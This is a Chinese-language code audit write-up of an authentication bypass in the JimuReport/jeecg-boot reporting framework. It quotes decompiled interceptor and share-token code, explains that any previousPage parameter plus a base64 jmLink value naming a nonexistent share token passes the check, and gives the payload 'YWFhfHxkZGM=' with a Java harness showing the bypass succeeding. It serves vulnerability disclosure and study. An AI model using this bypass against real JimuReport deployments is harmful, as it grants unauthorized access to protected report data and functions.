jeecg-boot框架RCE0day代码审计
环境搭建
https://github.com/jeecgboot/JimuReport/tree/master/jimureport-example
refer:
https://github.com/jeecgboot/JimuReport/issues/2848
https://github.com/jeecgboot/JimuReport/issues/2865
漏洞复现
Jimureport权限绕过漏洞
权限绕过漏洞的关键部分(处理token)
org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor#preHandle

preHandle代码部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (!(handler instanceof HandlerMethod)) { return true; } else { String var4 = d.i(request.getRequestURI().substring(request.getContextPath().length())); log.debug("JimuReportInterceptor check requestPath = " + var4); int var5 = 500; if (n.a(var4)) { log.error("请注意,请求地址有xss攻击风险!" + var4); this.backError(response, "请求地址有xss攻击风险!", var5); return false; } else { String var6 = this.jmBaseConfig.getCustomPrePath(); log.debug("customPrePath: {}", var6); if (j.d(var6) && !var6.startsWith("/")) { var6 = "/" + var6; }
request.setAttribute("customPrePath", var6); HandlerMethod var7 = (HandlerMethod)handler; Method var8 = var7.getMethod(); if (var4.contains("/jmreport/shareView/")) { return true; } else { JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class); if (j.d(var9)) { return true; } else { boolean var10 = false;
try { var10 = this.verifyToken(request); } catch (Exception var14) { }
if (!var10) { if (this.jimuReportShareService.isSharingEffective(var4, request)) { return true; } else { String var16 = request.getParameter("previousPage"); if (j.d(var16)) { if (this.jimuReportShareService.isShareingToken(var4, request)) { return true; } else { log.error("分享链接失效或分享token不匹配(" + request.getMethod() + "):" + var4); this.backError(response, "分享链接失效或分享token不匹配,禁止钻取!", var5); return false; } } else { log.error("Token校验失败!请求无权限(" + request.getMethod() + "):" + var4); this.backError(response, "Token校验失败,无权限访问!", var5); return false; } } } else { b var15 = (b)var8.getAnnotation(b.class); if (var15 != null) { String[] var11 = var15.a(); String[] var12 = this.jimuTokenClient.getRoles(request); if (var12 == null || var12.length == 0) { log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4); if ("/jmreport/loadTableData".equals(var4)) { var5 = GEN_TEST_DATA_CODE; }
this.backError(response, NO_PERMISSION_PROMPT_MSG, var5); return false; }
boolean var13 = Arrays.stream(var12).anyMatch((code) -> { return j.a(code, var11); }); if (!var13) { log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4); if ("/jmreport/loadTableData".equals(var4)) { var5 = GEN_TEST_DATA_CODE; }
this.backError(response, NO_PERMISSION_PROMPT_MSG, var5); return false; } }
return true; } } } } } }
|
可以从代码中看到在最下面是进行token校验的方法


如果可以在校验token前return true则会绕过token校验完成权限绕过
追踪代码定位到漏洞关键点:

首先需要携带previousPage参数,参数任意,之后追踪isShareingToken方法(省略部分方法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public boolean isShareingToken(String requestPath, HttpServletRequest request) { String var3 = request.getHeader("JmReport-Share-Token"); String var4 = ""; if (j.c(var3)) { var3 = request.getParameter("shareToken"); }
String var5 = request.getParameter("jmLink"); if (j.d(var5)) { try { byte[] var6 = Base64Utils.decodeFromString(var5); String var7 = new String(var6); String[] var8 = var7.split("\\|\\|"); if (ArrayUtils.isNotEmpty(var8) && var8.length == 2) { var3 = var8[0]; var4 = var8[1]; } } catch (IllegalArgumentException var9) { a.error("解密失败:" + var9.getMessage()); a.error(var9.getMessage(), var9); return false; } }
if (j.c(var3)) { return false; } else { JimuReportShare var10 = this.jimuReportShareDao.getShareByShareToken(var3); if (var10 != null) { var10 = this.compareToDate(var10); if (!"0".equals(var10.getStatus())) { return false; } }
return true; } }
|
主要逻辑获取jmLink参数=>base64解码=>||分割 var3=[0] =>判断c(var3)=>getShareByShareToken(var3)?失败:成功
#getShareByShareToken如果数据库查不到就成功返回true

根据这段代码的逻辑,写出简化逻辑绕过测试方法,YWFhfHxkZGM=作为payload (base64:aaa||ddc)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| package com.jeecg.modules.test;
import org.apache.commons.lang3.ArrayUtils; import org.jeecg.modules.jmreport.desreport.dao.JimuReportShareDao; import org.jeecg.modules.jmreport.desreport.entity.JimuReportShare; import org.jeecg.modules.jmreport.desreport.service.IJimuReportShareService; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.mongo.MongoAutoConfiguration; import org.springframework.context.ConfigurableApplicationContext; import org.springframework.util.Base64Utils; import org.jeecg.modules.jmreport.common.util.j;
@SpringBootApplication(scanBasePackages = {"org.jeecg", "com.jeecg"}) @EnableAutoConfiguration(exclude = {MongoAutoConfiguration.class}) public class test1 {
public static String d(String var0) { byte var1 = 3; if (var0.length() < var1) { return var0.toLowerCase(); } else { StringBuilder var2 = new StringBuilder(var0); int var3 = 0;
for(int var4 = 2; var4 < var0.length(); ++var4) { if (Character.isUpperCase(var0.charAt(var4))) { var2.insert(var4 + var3, "_"); ++var3; } }
return var2.toString().toLowerCase(); } }
public static void main(String[] args) {
ConfigurableApplicationContext context = SpringApplication.run(test1.class, args);
IJimuReportShareService irss = context.getBean(IJimuReportShareService.class);
JimuReportShareDao jimuReportShareDao = context.getBean(JimuReportShareDao.class);
Object var3 = null; Object var4 = null; Object var5 = "YWFhfHxkZGM=";
boolean d = j.d(var5); System.out.println("d:" + d);
if (d){ byte[] var6 = Base64Utils.decodeFromString((String)var5); String var7 = new String(var6); String[] var8 = var7.split("\\|\\|"); if (ArrayUtils.isNotEmpty(var8) && var8.length == 2) { var3 = var8[0]; var4 = var8[1]; } }
System.out.println(var3); System.out.println(var4);
boolean c = j.c(var3);
System.out.println("c:" + c);
if (c) { System.out.println("失败1"); }else { JimuReportShare var10 = jimuReportShareDao.getShareByShareToken((String)var3);
System.out.println(var10);
if (var10 != null) { var10 = irss.compareToDate(var10); if (!"0".equals(var10.getStatus())) { System.out.println("失败2"); }else { System.out.println("成功1"); } } else { System.out.println("成功2"); } }
} }
|
运行显示结果,成功绕过

__END__